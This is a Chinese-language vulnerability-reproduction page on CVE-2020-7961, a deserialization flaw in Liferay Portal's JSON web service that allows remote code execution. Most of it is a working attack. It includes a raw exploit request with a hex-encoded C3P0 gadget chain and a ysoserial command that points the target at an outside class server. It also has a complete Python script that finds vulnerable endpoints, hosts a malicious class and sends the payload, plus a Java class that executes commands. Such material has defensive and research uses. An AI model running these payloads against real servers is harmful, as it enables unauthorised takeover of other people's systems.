menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 077-Liferay Portal chevron_right 001-CVE-2020-7961 Liferay Portal Json Web Service 反序列化漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-CVE-2020-7961 Liferay Portal Json Web Service 反序列化漏洞.md
    12.02 KB / 2021-07-17 00:01:26
        # CVE-2020-7961 Liferay Portal Json Web Service 反序列化漏洞
    
    ### 一、漏洞简介
    
    ### 二、漏洞影响
    
    * Liferay Portal 6.1.X
    * Liferay Portal 6.2.X
    * Liferay Portal 7.0.X
    * Liferay Portal 7.1.X
    * Liferay Portal 7.2.X
    
    ### 三、复现过程
    
    **环境搭建**
    
    https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 下载带tomcat的集成版,接下来就可以运行了,安装过程一路默认配置即可
    
    ![](images/15891207711834.png)
    
    
    ![](images/15891207743698.png)
    
    
    ### 漏洞复现
    
    poc
    
    
    ```bash
    POST /api/jsonws/invoke HTTP/1.1
    Host: www.baidu.com:8080
    Content-Length: 2335
    Content-Type: application/x-www-form-urlencoded
    Connection: close
    
    cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c00037063737400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f3132372e302e302e313a383938392f7400076578706c6f697470707070770400000000787702000178;"}
    ```
    
    本地起http server 挂载Exploit.class字节码文件
    
    ![](images/15891207995713.png)
    
    
    ysoserial c3p0生成:
    
    
    ```bash
    java -jar ysoserial.jar C3P0 "http://192.168.3.199/:Exploit" > test1.ser
    ```
    
    然后用以下脚本转为16进制:
    
    
    ```bash
    import java.io.*;
    
    public class poc {
        public String encodeHex(InputStream fi) throws IOException {
            int size;
            String hexStr="";
            while ((size=fi.read())!=-1){
                String byteChar = Integer.toHexString(size);
                if(byteChar.length()<2) {
                    byteChar = "0" + byteChar;
                }
               hexStr = hexStr + byteChar;
            }
            return hexStr;
        }
        public static void main(String[] args) throws IOException {
        FileInputStream fi  = new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/test.ser"));
        poc obj = new poc();
        String pocStr = obj.encodeHex(fi);
        System.out.println(pocStr);
        }
    }
    ```
    
    或者用mashalsec直接生成16进制paylaod:
    
    ![](images/15891208261859.png)
    
    
    ![dc4fcddd18b64351a621e9a58e837c6f](images/dc4fcddd18b64351a621e9a58e837c6f.gif)
    
    **poc**
    
    poc.py
    
    
    ```python
    '''
        Title: POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1 
        POC author: mzero
        Download link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/7.2.0%20GA1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z/download
        Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research
        Usage: python poc.py -h
        
        Gadget used: C3P0WrapperConnPool 
        
        Installation:
        pip install requests
        pip install bs4
        
        Create file LifExp.java with example content:
        public class LifExp {
            static {
            try {
                String[] cmd = {"cmd.exe", "/c", "calc.exe"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                e.printStackTrace();
                }
            }
        }
        javac LifExp.java
        Place poc.py and LifExp.class in the same directory.
    '''
    import requests
    import threading
    import time
    import sys
    import argparse
    import binascii
    from bs4 import BeautifulSoup
    from datetime import datetime
    from http.server import BaseHTTPRequestHandler,HTTPServer
    #import http.server
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    # SET proxy
    PROXIES = {}
    #PROXIES = {"http":"http://127.0.0.1:9090"}
    
    class HttpHandler(BaseHTTPRequestHandler):
        
        def do_GET(self):
            self.send_response(200)
            self.send_header('Content-type','application/java-vm')
            self.end_headers()
            f = open("LifExp.class", "rb")
            self.wfile.write(f.read())
            f.close()
            return
    
    def log(level, msg):
        prefix = "[#] "
        if level == "error":
            prefix = "[!] "
        d = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
        temp = "{} [{}] {}".format(prefix, d, msg)
        print(temp)
    
    def find_href(body):
        soup = BeautifulSoup(body, "html.parser")
        return soup.find_all('a', href=True)
        
    def find_class(body, clazz):
        soup = BeautifulSoup(body, "html.parser")
        return soup.findAll("div", {"class": clazz})
    
    def find_id(body):
        soup = BeautifulSoup(body, "html.parser")
        return soup.findAll("form", {"id": "execute"})
    
    def get_param(div):
        param = ""
        param_type = ""
        p_name = div.find("span", {"class": "lfr-api-param-name"})
        p_type = div.find("span", {"class": "lfr-api-param-type"})
        if p_name:
            param = p_name.text.strip()
        if p_type:
            param_type = p_type.text.strip()
            
        return (param, param_type)
    
    def _do_get(url):
        resp = requests.get(url, proxies=PROXIES, verify=False)
        return resp
        
    def do_get(host, path):
        url = "{}/{}".format(host, path)
        resp = _do_get(url)
        return resp
        
    def _do_post(url, data):
        resp = requests.post(url, proxies=PROXIES, verify=False, data=data)
        return resp
        
    def do_post(host, path, data):
        url = "{}/{}".format(host, path)
        resp = _do_post(url, data)
        return resp
        
    def find_endpoints(host, path):
        result = []
        resp = do_get(host, path)
        links = find_href(resp.text)
        for link in links:
            if "java.lang.Object" in link['href']:
                result.append(link['href'])
        return result
    
    def find_parameters(body):
        div_params = find_class(body, "lfr-api-param")
        params = []
        for d in div_params:
            params.append(get_param(d))
        return params
    
    def find_url(body):
        form = find_id(body)[0]
        return form['action']
    
    def set_params(params, payload, payload_type):
        result = {}
        for param in params:
            p_name, p_type = param
            if p_type == "java.lang.Object":
                result[p_name+":"+payload_type] = payload
            
            result[p_name] = "1"
        return result
    
    def pad(data, length):
        return data+"\x20"*(length-len(data))
        
    def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE):
        p = set_params(params, PAYLOAD, PAYLOAD_TYPE)
        resp = do_post(host, api_url, p)
    
    banner = """POC author: mzero\r\nBased on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research"""
    
    def main():
        print(banner)
        parser = argparse.ArgumentParser()
        parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True)
        parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="api/jsonws")
        parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091)
        parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1")
    
        args = parser.parse_args()
        bind_port  = int(args.bind_port)
        bind_ip = args.bind_ip
        target_ip = args.target
        api_url = args.api_url
        endpoints = []
        vuln_endpoints = []
        
        PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
        PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8"""
        PAYLOAD_SUFIX = """740003466f6f;"}"""
    
        INTERNAL = pad("http://{}:{}/".format(bind_ip, bind_port), 200)
    
        INTERNALB = INTERNAL.encode('utf-8')
        
        INTERNALHEX = binascii.hexlify(INTERNALB)
    
        PAYLOAD = PAYLOAD_PREFIX+INTERNALHEX.hex()+PAYLOAD_SUFIX
        
        
        try:
            log("info", "Looking for vulnerable endpoints: {}/{}".format(target_ip, api_url))
            endpoints = find_endpoints(target_ip, api_url)
            if not endpoints:
                log("info", "Vulnerable endpoints not found!")
                sys.exit(1)
        except Exception as ex:
            log("error", "An error occured:")
            print(ex)
            sys.exit(1)
        
        try:
            server = HTTPServer((bind_ip, bind_port), HttpHandler)
            log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port))
            th = threading.Thread(target=server.serve_forever)
            th.daemon=True
            th.start()
            
            for e in endpoints:
                resp = do_get(target_ip, e)
                params = find_parameters(resp.text)
                url_temp = find_url(resp.text)
                vuln_endpoints.append((url_temp, params))
            
            for endpoint in vuln_endpoints:
                log("info", "Probably vulnerable endpoint {}.".format(endpoint[0]))
                op = raw_input("Do you want to test it? Y/N: ")
                if op.lower() == "y":
                    exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE)
                    
            log("info", "CTRL+C to exit :)")
            while True:
                time.sleep(1)
        except KeyboardInterrupt:
            log("info", "Shutting down...")
            server.socket.close()
        except Exception as ex:
            log("error", "An error occured:")
            print(ex)
            sys.exit(1)
        
    if __name__ == "__main__":
        main()
    ```
    
    LifExp.java
    
    
    ```java
    public class LifExp {
    
    static {
    try {
    String[] cmd = {"cmd.exe", "/c", "calc.exe"};
    java.lang.Runtime.getRuntime().exec(cmd).waitFor();
    } catch ( Exception e ) {
    e.printStackTrace();
    }
    }
    }
    ```
    
    参考链接
    
    https://www.cnblogs.com/tr1ple/p/12608731.html#NmdGyEkb
    
    links
    file_download